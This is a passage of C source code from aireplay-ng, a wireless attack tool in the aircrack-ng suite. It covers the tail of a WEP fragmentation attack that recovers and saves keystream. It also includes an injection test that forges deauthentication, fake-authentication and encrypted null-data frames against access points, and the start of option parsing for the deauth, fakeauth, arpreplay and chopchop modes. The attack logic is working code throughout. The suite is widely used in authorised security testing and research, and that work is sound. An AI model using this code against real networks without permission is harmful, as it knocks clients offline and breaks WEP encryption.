send_fragments(h80211, arplen, iv, prga, 300, 0);
// //Plus an ACK
// send_packet(ack, 10);
gettimeofday(&tv, NULL);
gotit = 0;
while (!gotit) // waiting for relayed packet
{
caplen = read_packet(_wi_in, packet, sizeof(packet), NULL);
if (caplen < 0 && errno == EINTR)
continue;
else if (caplen < 0)
break;
z = ((packet[1] & 3) != 3) ? 24 : 30;
if ((packet[0] & 0x80) == 0x80) /* QoS */
z += 2;
if (packet[0] == 0xD4)
{
if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
acksgot++;
continue;
}
if ((packet[0] & 0x08)
&& ((packet[1] & 0x40)
== 0x40)) // Is data frame && encrypted
{
if ((packet[1] & 2)) // Is a FromDS packet with valid IV
{
if (!memcmp(opt.r_dmac, packet + 4, 6)) // To our MAC
{
if (!memcmp(
opt.r_smac, packet + 16, 6)) // From our MAC
{
if (caplen - z > 1496 - 24) // Is short enough
{
// This is our relayed packet!
PCT;
printf("Got RELAYED packet!!\n");
gotit = 1;
isrelay = 1;
}
}
}
}
}
/* check if we got an deauthentication packet */
if (packet[0] == 0xC0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
{
PCT;
printf("Got a deauthentication packet!\n");
read_sleep(
dev.fd_in,
5 * 1000000,
my_read_sleep_cb); // sleep 5 seconds and ignore all
// frames in this period
}
/* check if we got an disassociation packet */
if (packet[0] == 0xA0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
{
PCT;
printf("Got a disassociation packet!\n");
read_sleep(
dev.fd_in,
5 * 1000000,
my_read_sleep_cb); // sleep 5 seconds and ignore all
// frames in this period
}
gettimeofday(&tv2, NULL);
if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+ (tv2.tv_usec - tv.tv_usec))
> (100 * 1000)
&& acksgot > 0 && acksgot < packets) // wait 100ms for acks
{
PCT;
printf("Not enough acks, repeating...\n");
again = RETRY;
break;
}
if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+ (tv2.tv_usec - tv.tv_usec))
> (1500 * 1000)
&& !gotit) // wait 1500ms for an answer
{
PCT;
printf("No answer, repeating...\n");
round++;
again = RETRY;
if (round > 10)
{
printf(
"Still nothing, quitting with 384 bytes? [y/n] \n");
fflush(stdout);
ret = 0;
while (!ret) ret = scanf("%1s", (char *) tmpbuf);
printf("\n");
if (tmpbuf[0] == 'y' || tmpbuf[0] == 'Y')
again = ABORT;
else
again = NEW_IV;
}
break;
}
}
}
if (again == NEW_IV) continue;
if (again == ABORT)
length = 408;
else
length = 1500;
make_arp_request(h80211,
opt.f_bssid,
opt.r_smac,
opt.r_dmac,
opt.r_sip,
opt.r_dip,
length);
if (caplen == length + 8 + z)
{
// That's the ARP packet!
// PCT; printf("That's our ARP packet!\n");
}
if (caplen == length + 16 + z)
{
// That's the LLC NULL packet!
// PCT; printf("That's our LLC Null packet!\n");
memset(h80211 + 24, '\x00', length + 8);
}
if (again != ABORT)
{
memcpy(iv, packet + z, 4);
memcpy(prga, packet + z + 4, length);
xor_keystream(prga, h80211 + 24, length);
}
lt = localtime((const time_t *) &tv.tv_sec);
REQUIRE(lt != NULL);
memset(strbuf, 0, sizeof(strbuf));
snprintf(strbuf,
sizeof(strbuf) - 1,
"fragment-%02d%02d-%02d%02d%02d.xor",
lt->tm_mon + 1,
lt->tm_mday,
lt->tm_hour,
lt->tm_min,
lt->tm_sec);
save_prga(strbuf, iv, prga, length);
printf("Saving keystream in %s\n", strbuf);
printf("Now you can build a packet with packetforge-ng out of that %d "
"bytes keystream\n",
length);
done = 1;
}
return (0);
}
static int grab_essid(unsigned char * packet, int len)
{
int i = 0, j = 0, pos = 0, tagtype = 0, taglen = 0, chan = 0;
unsigned char bssid[6];
memcpy(bssid, packet + 16, 6);
taglen = 22; // initial value to get the fixed tags parsing started
taglen += 12; // skip fixed tags in frames
do
{
pos += taglen + 2;
tagtype = packet[pos];
taglen = packet[pos + 1];
} while (tagtype != 3 && pos < len - 2);
if (tagtype != 3) return -1;
if (taglen != 1) return -1;
if (pos + 2 + taglen > len) return -1;
chan = packet[pos + 2];
pos = 0;
taglen = 22; // initial value to get the fixed tags parsing started
taglen += 12; // skip fixed tags in frames
do
{
pos += taglen + 2;
tagtype = packet[pos];
taglen = packet[pos + 1];
} while (tagtype != 0 && pos < len - 2);
if (tagtype != 0) return -1;
if (taglen > 250) taglen = 250;
if (pos + 2 + taglen > len) return -1;
for (i = 0; i < MAX_APS; i++)
{
if (ap[i].set)
{
if (memcmp(bssid, ap[i].bssid, 6) == 0) // got it already
{
if (packet[0] == 0x50 && !ap[i].found)
{
ap[i].found++;
}
if (ap[i].chan == 0) ap[i].chan = chan;
break;
}
}
if (ap[i].set == 0)
{
for (j = 0; j < taglen; j++)
{
if (packet[pos + 2 + j] < 32 || packet[pos + 2 + j] > 127)
{
return -1;
}
}
ap[i].set = 1;
ap[i].len = taglen;
memcpy(ap[i].essid, packet + pos + 2, taglen);
ap[i].essid[taglen] = '\0';
memcpy(ap[i].bssid, bssid, 6);
ap[i].chan = chan;
if (packet[0] == 0x50) ap[i].found++;
return 0;
}
}
return -1;
}
struct net_hdr
{
uint8_t nh_type;
uint32_t nh_len;
uint8_t nh_data[];
} __packed;
static int tcp_test(const char * ip_str, const short port)
{
int sock, i;
struct sockaddr_in s_in;
int packetsize = 1024;
unsigned char packet[packetsize];
struct timeval tv, tv2 = {0}, tv3;
int caplen = 0;
int times[REQUESTS] = {0};
int min, avg, max, len;
struct net_hdr nh;
tv3.tv_sec = 0;
tv3.tv_usec = 1;
memset(&s_in, 0, sizeof(struct sockaddr_in));
s_in.sin_family = PF_INET;
s_in.sin_port = htons(port);
if (!inet_aton(ip_str, &s_in.sin_addr)) return -1;
if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
return -1;
/* avoid blocking on reading the socket */
if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0)
{
perror("fcntl(O_NONBLOCK) failed");
close(sock);
return (1);
}
gettimeofday(&tv, NULL);
while (1) // waiting for relayed packet
{
if (connect(sock, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
{
if (errno != EINPROGRESS && errno != EALREADY)
{
perror("connect");
close(sock);
printf("Failed to connect\n");
return -1;
}
}
else
{
gettimeofday(&tv2, NULL);
break;
}
gettimeofday(&tv2, NULL);
// wait 3000ms for a successful connect
if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+ (tv2.tv_usec - tv.tv_usec))
> (3000 * 1000))
{
printf("Connection timed out\n");
close(sock);
return (-1);
}
usleep(10);
}
PCT;
printf("TCP connection successful\n");
// trying to identify airserv-ng
memset(&nh, 0, sizeof(nh));
// command: GET_CHAN
nh.nh_type = 2;
nh.nh_len = htonl(0);
if (send(sock, &nh, sizeof(nh), 0) != sizeof(nh))
{
perror("send");
close(sock);
return -1;
}
gettimeofday(&tv, NULL);
i = 0;
while (1) // waiting for GET_CHAN answer
{
caplen = read(sock, &nh, sizeof(nh));
if (caplen == -1)
{
if (errno != EAGAIN)
{
perror("read");
close(sock);
return -1;
}
}
if (caplen > 0 && (unsigned) caplen == sizeof(nh))
{
len = ntohl(nh.nh_len);
if (len <= packetsize && len > 0)
{
if (nh.nh_type == 1 && i == 0)
{
i = 1;
caplen = read(sock, packet, len);
if (caplen == len)
{
i = 2;
break;
}
else
{
i = 0;
}
}
else
{
caplen = read(sock, packet, len);
}
}
}
gettimeofday(&tv2, NULL);
// wait 1000ms for an answer
if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+ (tv2.tv_usec - tv.tv_usec))
> (1000 * 1000))
{
break;
}
if (caplen == -1) usleep(10);
}
if (i == 2)
{
PCT;
printf("airserv-ng found\n");
}
else
{
PCT;
printf("airserv-ng NOT found\n");
}
close(sock);
for (i = 0; i < REQUESTS; i++)
{
if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
return -1;
/* avoid blocking on reading the socket */
if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0)
{
perror("fcntl(O_NONBLOCK) failed");
close(sock);
return (1);
}
usleep(1000);
gettimeofday(&tv, NULL);
while (1) // waiting for relayed packet
{
if (connect(sock, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
{
if (errno != EINPROGRESS && errno != EALREADY)
{
perror("connect");
close(sock);
printf("Failed to connect\n");
return -1;
}
}
else
{
gettimeofday(&tv2, NULL);
break;
}
gettimeofday(&tv2, NULL);
// wait 1000ms for a successful connect
if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+ (tv2.tv_usec - tv.tv_usec))
> (1000 * 1000))
{
break;
}
// simple "high-precision" usleep
select(1, NULL, NULL, NULL, &tv3);
}
times[i] = ((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+ (tv2.tv_usec - tv.tv_usec));
printf("\r%d/%d\r", i, REQUESTS);
fflush(stdout);
close(sock);
}
min = INT_MAX;
avg = 0;
max = 0;
for (i = 0; i < REQUESTS; i++)
{
if (times[i] < min) min = times[i];
if (times[i] > max) max = times[i];
avg += times[i];
}
avg /= REQUESTS;
PCT;
printf("ping %s:%d (min/avg/max): %.3fms/%.3fms/%.3fms\n",
ip_str,
port,
min / 1000.0f,
avg / 1000.0f,
max / 1000.0f);
return 0;
}
static int do_attack_test(void)
{
unsigned char packet[4096];
struct timeval tv, tv2, tv3;
int len = 0, j = 0, k = 0;
int gotit = 0, answers = 0;
int caplen = 0, essidlen = 0;
unsigned int min, avg, max, i = 0, found = 0;
int ret = 0;
float avg2;
struct rx_info ri;
unsigned long atime = 200; // time in ms to wait for answer packet (needs to
// be higher for airserv)
unsigned char nulldata[1024];
if (opt.port_out > 0)
{
atime += 200;
PCT;
printf("Testing connection to injection device %s\n", opt.iface_out);
ret = tcp_test(opt.ip_out, opt.port_out);
if (ret != 0)
{
return (1);
}
printf("\n");
/* open the replay interface */
_wi_out = wi_open(opt.iface_out);
if (!_wi_out) return 1;
printf("\n");
dev.fd_out = wi_fd(_wi_out);
wi_get_mac(_wi_out, dev.mac_out);
if (opt.s_face == NULL)
{
_wi_in = _wi_out;
dev.fd_in = dev.fd_out;
/* XXX */
dev.arptype_in = dev.arptype_out;
wi_get_mac(_wi_in, dev.mac_in);
}
}
if (opt.s_face && opt.port_in > 0)
{
atime += 200;
PCT;
printf("Testing connection to capture device %s\n", opt.s_face);
ret = tcp_test(opt.ip_in, opt.port_in);
if (ret != 0)
{
return (1);
}
printf("\n");
/* open the packet source */
_wi_in = wi_open(opt.s_face);
if (!_wi_in) return 1;
dev.fd_in = wi_fd(_wi_in);
wi_get_mac(_wi_in, dev.mac_in);
printf("\n");
}
else if (opt.s_face && opt.port_in <= 0)
{
_wi_in = wi_open(opt.s_face);
if (!_wi_in) return 1;
dev.fd_in = wi_fd(_wi_in);
wi_get_mac(_wi_in, dev.mac_in);
printf("\n");
}
if (opt.port_in <= 0)
{
/* avoid blocking on reading the socket */
if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
{
perror("fcntl(O_NONBLOCK) failed");
return (1);
}
}
if (getnet(_wi_in,
NULL,
0,
0,
opt.f_bssid,
opt.r_bssid,
(uint8_t *) opt.r_essid,
opt.ignore_negative_one,
opt.nodetect)
!= 0)
return (EXIT_FAILURE);
rand_init();
memset(ap, '\0', sizeof(ap));
essidlen = strlen(opt.r_essid);
if (essidlen > 0)
{
ap[0].set = 1;
ap[0].found = 0;
ap[0].len = essidlen;
memcpy(ap[0].essid, opt.r_essid, essidlen);
ap[0].essid[essidlen] = '\0';
memcpy(ap[0].bssid, opt.r_bssid, 6);
found++;
}
if (opt.bittest) set_bitrate(_wi_out, RATE_1M);
PCT;
printf("Trying broadcast probe requests...\n");
memcpy(h80211, PROBE_REQ, 24);
len = 24;
h80211[24] = 0x00; // ESSID Tag Number
h80211[25] = 0x00; // ESSID Tag Length
len += 2;
memcpy(h80211 + len, RATES, 16);
len += 16;
gotit = 0;
answers = 0;
for (i = 0; i < 3; i++)
{
/*
random source so we can identify our packets
*/
opt.r_smac[0] = 0x00;
opt.r_smac[1] = rand_u8();
opt.r_smac[2] = rand_u8();
opt.r_smac[3] = rand_u8();
opt.r_smac[4] = rand_u8();
opt.r_smac[5] = rand_u8();
memcpy(h80211 + 10, opt.r_smac, 6);
send_packet(_wi_out, h80211, (size_t) len, kRewriteSequenceNumber);
gettimeofday(&tv, NULL);
while (1) // waiting for relayed packet
{
caplen = read_packet(_wi_in, packet, sizeof(packet), &ri);
if (caplen < 0 && errno == EINTR)
continue;
else if (caplen < 0)
break;
if (packet[0] == 0x50) // Is probe response
{
if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
{
if (grab_essid(packet, caplen) == 0
&& (!memcmp(opt.r_bssid, NULL_MAC, 6)))
{
found++;
}
if (!answers)
{
PCT;
printf("Injection is working!\n");
if (opt.fast) return 0;
gotit = 1;
answers++;
}
}
}
if (packet[0] == 0x80) // Is beacon frame
{
if (grab_essid(packet, caplen) == 0
&& (!memcmp(opt.r_bssid, NULL_MAC, 6)))
{
found++;
}
}
gettimeofday(&tv2, NULL);
if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+ (tv2.tv_usec - tv.tv_usec))
> (3 * atime * 1000)) // wait 'atime'ms for an answer
{
break;
}
}
}
if (answers == 0)
{
PCT;
printf("No Answer...\n");
}
PCT;
printf("Found %u AP%c\n", found, ((found == 1) ? ' ' : 's'));
if (found > 0)
{
printf("\n");
PCT;
printf("Trying directed probe requests...\n");
}
for (i = 0; i < found; i++)
{
if (wi_get_channel(_wi_out) != ap[i].chan)
{
wi_set_channel(_wi_out, ap[i].chan);
}
if (wi_get_channel(_wi_in) != ap[i].chan)
{
wi_set_channel(_wi_in, ap[i].chan);
}
PCT;
printf("%02X:%02X:%02X:%02X:%02X:%02X - channel: %d - \'%s\'\n",
ap[i].bssid[0],
ap[i].bssid[1],
ap[i].bssid[2],
ap[i].bssid[3],
ap[i].bssid[4],
ap[i].bssid[5],
ap[i].chan,
ap[i].essid);
ap[i].found = 0;
min = INT_MAX;
max = 0;
avg = 0;
avg2 = 0;
memcpy(h80211, PROBE_REQ, 24);
len = 24;
h80211[24] = 0x00; // ESSID Tag Number
h80211[25] = ap[i].len; // ESSID Tag Length
memcpy(h80211 + len + 2, ap[i].essid, ap[i].len);
len += ap[i].len + 2;
memcpy(h80211 + len, RATES, 16);
len += 16;
for (j = 0; j < REQUESTS; j++)
{
/*
random source so we can identify our packets
*/
opt.r_smac[0] = 0x00;
opt.r_smac[1] = rand_u8();
opt.r_smac[2] = rand_u8();
opt.r_smac[3] = rand_u8();
opt.r_smac[4] = rand_u8();
opt.r_smac[5] = rand_u8();
// build/send probe request
memcpy(h80211 + 10, opt.r_smac, 6);
send_packet(_wi_out, h80211, (size_t) len, kRewriteSequenceNumber);
usleep(10);
// build/send request-to-send
memcpy(nulldata, RTS, 16);
memcpy(nulldata + 4, ap[i].bssid, 6);
memcpy(nulldata + 10, opt.r_smac, 6);
send_packet(_wi_out, nulldata, 16, kRewriteSequenceNumber);
usleep(10);
// build/send null data packet
memcpy(nulldata, NULL_DATA, 24);
memcpy(nulldata + 4, ap[i].bssid, 6);
memcpy(nulldata + 10, opt.r_smac, 6);
memcpy(nulldata + 16, ap[i].bssid, 6);
send_packet(_wi_out, nulldata, 24, kRewriteSequenceNumber);
usleep(10);
// build/send auth request packet
memcpy(nulldata, AUTH_REQ, 30);
memcpy(nulldata + 4, ap[i].bssid, 6);
memcpy(nulldata + 10, opt.r_smac, 6);
memcpy(nulldata + 16, ap[i].bssid, 6);
send_packet(_wi_out, nulldata, 30, kRewriteSequenceNumber);
// continue
gettimeofday(&tv, NULL);
printf("\r%2d/%2d: %3d%%\r",
ap[i].found,
j + 1,
((ap[i].found * 100) / (j + 1)));
fflush(stdout);
while (1) // waiting for relayed packet
{
caplen = read_packet(_wi_in, packet, sizeof(packet), &ri);
if (caplen < 0 && errno == EINTR)
continue;
else if (caplen < 0)
break;
if (packet[0] == 0x50) // Is probe response
{
if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
{
if (!memcmp(ap[i].bssid,
packet + 16,
6)) // From the mentioned AP
{
gettimeofday(&tv3, NULL);
ap[i].ping[j]
= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
+ (tv3.tv_usec - tv.tv_usec));
if (!answers)
{
if (opt.fast)
{
PCT;
printf("Injection is working!\n\n");
return 0;
}
answers++;
}
ap[i].found++;
if ((signed) ri.ri_power > -200)
ap[i].pwr[j] = (signed) ri.ri_power;
break;
}
}
}
if (packet[0] == 0xC4) // Is clear-to-send
{
if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
{
gettimeofday(&tv3, NULL);
ap[i].ping[j]
= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
+ (tv3.tv_usec - tv.tv_usec));
if (!answers)
{
if (opt.fast)
{
PCT;
printf("Injection is working!\n\n");
return 0;
}
answers++;
}
ap[i].found++;
if ((signed) ri.ri_power > -200)
ap[i].pwr[j] = (signed) ri.ri_power;
break;
}
}
if (packet[0] == 0xD4) // Is ack
{
if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
{
gettimeofday(&tv3, NULL);
ap[i].ping[j]
= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
+ (tv3.tv_usec - tv.tv_usec));
if (!answers)
{
if (opt.fast)
{
PCT;
printf("Injection is working!\n\n");
return 0;
}
answers++;
}
ap[i].found++;
if ((signed) ri.ri_power > -200)
ap[i].pwr[j] = (signed) ri.ri_power;
break;
}
}
if (packet[0] == 0xB0) // Is auth response
{
if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
{
if (!memcmp(packet + 10, packet + 16, 6)) // From BSS ID
{
gettimeofday(&tv3, NULL);
ap[i].ping[j]
= ((tv3.tv_sec * 1000000 - tv.tv_sec * 1000000)
+ (tv3.tv_usec - tv.tv_usec));
if (!answers)
{
if (opt.fast)
{
PCT;
printf("Injection is working!\n\n");
return 0;
}
answers++;
}
ap[i].found++;
if ((signed) ri.ri_power > -200)
ap[i].pwr[j] = (signed) ri.ri_power;
break;
}
}
}
gettimeofday(&tv2, NULL);
if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+ (tv2.tv_usec - tv.tv_usec))
> (atime * 1000)) // wait 'atime'ms for an answer
{
break;
}
usleep(10);
}
printf("\r%2d/%2d: %3d%%\r",
ap[i].found,
j + 1,
((ap[i].found * 100) / (j + 1)));
fflush(stdout);
}
for (j = 0; j < REQUESTS; j++)
{
if (ap[i].ping[j] > 0)
{
if (ap[i].ping[j] > max) max = ap[i].ping[j];
if (ap[i].ping[j] < min) min = ap[i].ping[j];
avg += ap[i].ping[j];
avg2 += ap[i].pwr[j];
}
}
if (ap[i].found > 0)
{
avg /= ap[i].found;
avg2 /= ap[i].found;
PCT;
printf("Ping (min/avg/max): %.3fms/%.3fms/%.3fms Power: %.2f\n",
(min / 1000.0f),
(avg / 1000.0f),
(max / 1000.0f),
avg2);
}
PCT;
printf("%2d/%2d: %3d%%\n\n",
ap[i].found,
REQUESTS,
((ap[i].found * 100) / REQUESTS));
if (!gotit && answers)
{
PCT;
printf("Injection is working!\n\n");
gotit = 1;
}
}
if (opt.bittest)
{
if (found > 0)
{
PCT;
printf("Trying directed probe requests for all bitrates...\n");
}
for (i = 0; i < found; i++)
{
if (ap[i].found <= 0) continue;
printf("\n");
PCT;
printf("%02X:%02X:%02X:%02X:%02X:%02X - channel: %d - \'%s\'\n",
ap[i].bssid[0],
ap[i].bssid[1],
ap[i].bssid[2],
ap[i].bssid[3],
ap[i].bssid[4],
ap[i].bssid[5],
ap[i].chan,
ap[i].essid);
min = INT_MAX;
max = 0;
avg = 0;
memcpy(h80211, PROBE_REQ, 24);
len = 24;
h80211[24] = 0x00; // ESSID Tag Number
h80211[25] = ap[i].len; // ESSID Tag Length
memcpy(h80211 + len + 2, ap[i].essid, ap[i].len);
len += ap[i].len + 2;
memcpy(h80211 + len, RATES, 16);
len += 16;
for (k = 0; k < (int) ArrayCount(bitrates); k++)
{
ap[i].found = 0;
if (set_bitrate(_wi_out, bitrates[k])) continue;
avg2 = 0;
memset(ap[i].pwr, 0, REQUESTS * sizeof(unsigned int));
for (j = 0; j < REQUESTS; j++)
{
/*
random source so we can identify our packets
*/
opt.r_smac[0] = 0x00;
opt.r_smac[1] = rand_u8();
opt.r_smac[2] = rand_u8();
opt.r_smac[3] = rand_u8();
opt.r_smac[4] = rand_u8();
opt.r_smac[5] = rand_u8();
memcpy(h80211 + 10, opt.r_smac, 6);
send_packet(
_wi_out, h80211, (size_t) len, kRewriteSequenceNumber);
gettimeofday(&tv, NULL);
printf("\r%2d/%2d: %3d%%\r",
ap[i].found,
j + 1,
((ap[i].found * 100) / (j + 1)));
fflush(stdout);
while (1) // waiting for relayed packet
{
caplen
= read_packet(_wi_in, packet, sizeof(packet), &ri);
if (caplen < 0 && errno == EINTR)
continue;
else if (caplen < 0)
break;
if (packet[0] == 0x50) // Is probe response
{
if (!memcmp(opt.r_smac, packet + 4, 6)) // To our
// MAC
{
if (!memcmp(ap[i].bssid,
packet + 16,
6)) // From the mentioned AP
{
if (!answers)
{
answers++;
}
ap[i].found++;
if ((signed) ri.ri_power > -200)
ap[i].pwr[j] = (signed) ri.ri_power;
break;
}
}
}
gettimeofday(&tv2, NULL);
if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+ (tv2.tv_usec - tv.tv_usec))
> (100 * 1000)) // wait 300ms for an answer
{
break;
}
usleep(10);
}
printf("\r%2d/%2d: %3d%%\r",
ap[i].found,
j + 1,
((ap[i].found * 100) / (j + 1)));
fflush(stdout);
}
for (j = 0; j < REQUESTS; j++) avg2 += ap[i].pwr[j];
if (ap[i].found > 0) avg2 /= ap[i].found;
PCT;
printf("Probing at %2.1f Mbps:\t%2d/%2d: %3d%%\n",
wi_get_rate(_wi_out) / 1000000.0f,
ap[i].found,
REQUESTS,
((ap[i].found * 100) / REQUESTS));
}
if (!gotit && answers)
{
PCT;
printf("Injection is working!\n\n");
if (opt.fast) return 0;
gotit = 1;
}
}
}
if (opt.bittest) set_bitrate(_wi_out, RATE_1M);
if (opt.s_face != NULL)
{
printf("\n");
PCT;
printf("Trying card-to-card injection...\n");
/* sync both cards to the same channel, or the test will fail */
if (wi_get_channel(_wi_out) != wi_get_channel(_wi_in))
{
wi_set_channel(_wi_out, wi_get_channel(_wi_in));
}
/* Attacks */
for (i = 0; i < 5; i++)
{
k = 0;
/* random macs */
opt.f_smac[0] = 0x00;
opt.f_smac[1] = rand_u8();
opt.f_smac[2] = rand_u8();
opt.f_smac[3] = rand_u8();
opt.f_smac[4] = rand_u8();
opt.f_smac[5] = rand_u8();
opt.f_dmac[0] = 0x00;
opt.f_dmac[1] = rand_u8();
opt.f_dmac[2] = rand_u8();
opt.f_dmac[3] = rand_u8();
opt.f_dmac[4] = rand_u8();
opt.f_dmac[5] = rand_u8();
opt.f_bssid[0] = 0x00;
opt.f_bssid[1] = rand_u8();
opt.f_bssid[2] = rand_u8();
opt.f_bssid[3] = rand_u8();
opt.f_bssid[4] = rand_u8();
opt.f_bssid[5] = rand_u8();
if (i == 0) // attack -0
{
memcpy(h80211, DEAUTH_REQ, 26);
memcpy(h80211 + 16, opt.f_bssid, 6);
memcpy(h80211 + 4, opt.f_dmac, 6);
memcpy(h80211 + 10, opt.f_smac, 6);
opt.f_iswep = 0;
opt.f_tods = 0;
opt.f_fromds = 0;
opt.f_minlen = opt.f_maxlen = 26;
}
else if (i == 1) // attack -1 (open)
{
memcpy(h80211, AUTH_REQ, 30);
memcpy(h80211 + 4, opt.f_dmac, 6);
memcpy(h80211 + 10, opt.f_smac, 6);
memcpy(h80211 + 16, opt.f_bssid, 6);
opt.f_iswep = 0;
opt.f_tods = 0;
opt.f_fromds = 0;
opt.f_minlen = opt.f_maxlen = 30;
}
else if (i == 2) // attack -1 (psk)
{
memcpy(h80211, ska_auth3, 24); //-V512
memcpy(h80211 + 4, opt.f_dmac, 6);
memcpy(h80211 + 10, opt.f_smac, 6);
memcpy(h80211 + 16, opt.f_bssid, 6);
// iv+idx
h80211[24] = 0x86;
h80211[25] = 0xD8;
h80211[26] = 0x2E;
h80211[27] = 0x00;
// random bytes (as encrypted data)
for (j = 0; j < 132; j++) h80211[28 + j] = rand_u8();
opt.f_iswep = 1;
opt.f_tods = 0;
opt.f_fromds = 0;
opt.f_minlen = opt.f_maxlen = 24 + 4 + 132;
}
else if (i == 3) // attack -3
{
memcpy(h80211, NULL_DATA, 24);
memcpy(h80211 + 4, opt.f_bssid, 6);
memcpy(h80211 + 10, opt.f_smac, 6);
memcpy(h80211 + 16, opt.f_dmac, 6);
// iv+idx
h80211[24] = 0x86;
h80211[25] = 0xD8;
h80211[26] = 0x2E;
h80211[27] = 0x00;
// random bytes (as encrypted data)
for (j = 0; j < 132; j++) h80211[28 + j] = rand_u8();
opt.f_iswep = -1;
opt.f_tods = 1;
opt.f_fromds = 0;
opt.f_minlen = opt.f_maxlen = 24 + 4 + 132;
}
else // attack -5
{
memcpy(h80211, NULL_DATA, 24);
memcpy(h80211 + 4, opt.f_bssid, 6);
memcpy(h80211 + 10, opt.f_smac, 6);
memcpy(h80211 + 16, opt.f_dmac, 6);
h80211[1] |= 0x04;
h80211[22] = 0x0A;
h80211[23] = 0x00;
// iv+idx
h80211[24] = 0x86;
h80211[25] = 0xD8;
h80211[26] = 0x2E;
h80211[27] = 0x00;
// random bytes (as encrypted data)
for (j = 0; j < 7; j++) h80211[28 + j] = rand_u8();
opt.f_iswep = -1;
opt.f_tods = 1;
opt.f_fromds = 0;
opt.f_minlen = opt.f_maxlen = 24 + 4 + 7;
}
for (j = 0; (j < REQUESTS && !k); j++)
{
send_packet(_wi_out, h80211, (size_t) opt.f_maxlen, kNoChange);
gettimeofday(&tv, NULL);
while (1) // waiting for relayed packet
{
do
{
caplen = wi_read(
_wi_in, NULL, NULL, packet, sizeof(packet), &ri);
} while (caplen == -1 && errno == EAGAIN);
if (filter_packet(packet, caplen)
== 0) // got same length and same type
{
if (!answers)
{
answers++;
}
if (i == 0) // attack -0
{
if (h80211[0] == packet[0])
{
k = 1;
break;
}
}
else if (i == 1) // attack -1 (open)
{
if (h80211[0] == packet[0])
{
k = 1;
break;
}
}
else if (i == 2) // attack -1 (psk)
{
if (h80211[0] == packet[0]
&& memcmp(h80211 + 24, packet + 24, caplen - 24)
== 0)
{
k = 1;
break;
}
}
else if (i == 3) // attack -2/-3/-4/-6
{
if (h80211[0] == packet[0]
&& memcmp(h80211 + 24, packet + 24, caplen - 24)
== 0)
{
k = 1;
break;
}
}
else // attack -5/-7
{
if (h80211[0] == packet[0]
&& memcmp(h80211 + 24, packet + 24, caplen - 24)
== 0)
{
if ((packet[1] & 0x04)
&& memcmp(h80211 + 22, packet + 22, 2) == 0)
{
k = 1;
break;
}
else if ((packet[1] & 0x4) != 0)
{
PCT;
printf("Got a reply with an incorrect "
"sequence number (wanted 0x0a00 got "
"0x%02x%02x).\n",
*(packet + 22),
*(packet + 23));
}
}
}
}
gettimeofday(&tv2, NULL);
if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+ (tv2.tv_usec - tv.tv_usec))
> (2 * atime * 1000)) // wait 2*'atime' ms for an answer
{
break;
}
}
}
if (k)
{
k = 0;
if (i == 0) // attack -0
{
PCT;
printf("Attack -0: OK\n");
}
else if (i == 1) // attack -1 (open)
{
PCT;
printf("Attack -1 (open): OK\n");
}
else if (i == 2) // attack -1 (psk)
{
PCT;
printf("Attack -1 (psk): OK\n");
}
else if (i == 3) // attack -3
{
PCT;
printf("Attack -2/-3/-4/-6: OK\n");
}
else // attack -5
{
PCT;
printf("Attack -5/-7: OK\n");
}
}
else
{
if (i == 0) // attack -0
{
PCT;
printf("Attack -0: Failed\n");
}
else if (i == 1) // attack -1 (open)
{
PCT;
printf("Attack -1 (open): Failed\n");
}
else if (i == 2) // attack -1 (psk)
{
PCT;
printf("Attack -1 (psk): Failed\n");
}
else if (i == 3) // attack -3
{
PCT;
printf("Attack -2/-3/-4/-6: Failed\n");
}
else // attack -5
{
PCT;
printf("Attack -5/-7: Failed\n");
}
}
}
if (!gotit && answers)
{
PCT;
printf("Injection is working!\n");
if (opt.fast) return 0;
gotit = 1;
}
}
return 0;
}
int main(int argc, char * argv[])
{
int n, i, ret;
/* check the arguments */
memset(&opt, 0, sizeof(opt));
memset(&dev, 0, sizeof(dev));
opt.f_type = -1;
opt.f_subtype = -1;
opt.f_minlen = -1;
opt.f_maxlen = -1;
opt.f_tods = -1;
opt.f_fromds = -1;
opt.f_iswep = -1;
opt.ringbuffer = 8;
opt.a_mode = -1;
opt.r_fctrl = -1;
opt.ghost = 0;
opt.delay = 15;
opt.bittest = 0;
opt.fast = 0;
opt.r_smac_set = 0;
opt.npackets = 1;
opt.nodetect = 0;
opt.rtc = 1;
opt.f_retry = 0;
opt.reassoc = 0;
opt.deauth_rc = 7; /* By default deauth reason code is Class 3 frame
received from nonassociated STA */
/* XXX */
#if 0
#if defined(__FreeBSD__)
/*
check what is our FreeBSD version. injection works
only on 7-CURRENT so abort if it's a lower version.
*/
if( __FreeBSD_version < 700000 )
{
fprintf( stderr, "Aireplay-ng does not work on this "
"release of FreeBSD.\n" );
exit( 1 );
}
#endif
#endif
while (1)
{
int option_index = 0;
static struct option long_options[]
= {{"deauth", 1, 0, '0'},
{"fakeauth", 1, 0, '1'},
{"interactive", 0, 0, '2'},
{"arpreplay", 0, 0, '3'},
{"chopchop", 0, 0, '4'},
